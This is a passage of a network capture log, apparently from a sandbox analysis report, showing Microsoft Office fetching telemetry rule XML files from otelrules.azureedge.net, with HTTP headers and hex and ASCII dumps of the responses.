2024-12-09 05:49:57 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:57 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: fda51452-001e-005a-6630-49c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054957Z-r1cf579d778n7642hC1EWRpehw00000000mg0000000010dk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-09 05:49:57 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.11	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:57 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:57 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fc2f82a1-a01e-006f-4f06-4813cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054957Z-r1cf579d778bb9vvhC1EWRs95400000007700000000006qx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:57 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.11	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:57 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:58 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:58 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: c1d9e938-b01e-0097-5bc5-494f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054958Z-r1cf579d7788c742hC1EWRr97n00000001sg0000000026y9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:58 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.11	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:57 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:58 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:58 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 42c4dea6-f01e-0099-6c03-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054958Z-r1cf579d778qlpkrhC1EWRpfc8000000089g0000000009g6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:58 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.11	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:58 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:49:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:59 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 22946db9-b01e-0021-4e03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054959Z-r1cf579d778w59f9hC1EWRze6w00000007sg000000003x93 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:49:59 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.11	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:59 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:59 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 1dad0878-201e-0071-1606-48ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054959Z-r1cf579d7788pwqzhC1EWRrpd800000007r00000000053vs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:00 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.11	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:59 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:49:59 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 7fa91f87-401e-0016-714c-4953e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T054959Z-r1cf579d778t76vqhC1EWRdx4w00000001eg000000004bu5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:00 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.11	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:49:59 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:00 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 8332b9fd-c01e-0079-1704-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055000Z-r1cf579d778x776bhC1EWRdk8000000007n0000000000rp6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:00 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.11	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:00 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:00 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fdf36bd3-a01e-0070-1e03-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055000Z-r1cf579d778qgtz2hC1EWRmgks00000007dg0000000021e1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:00 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.11	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:00 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:01 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:01 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 812207fe-e01e-0099-5703-48da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055001Z-r1cf579d7788pwqzhC1EWRrpd800000007tg000000002db5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:01 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.11	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:01 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a7f22c35-701e-001e-6403-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055002Z-r1cf579d778dndrdhC1EWR4b24000000077g000000001mby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:02 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.11	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 05:50:01 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-09 05:50:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 05:50:02 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 62ef0171-501e-000a-5a03-480180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241209T055002Z-r1cf579d778t6txphC1EWRsd44000000082g000000000zu6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-09 05:50:02 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" 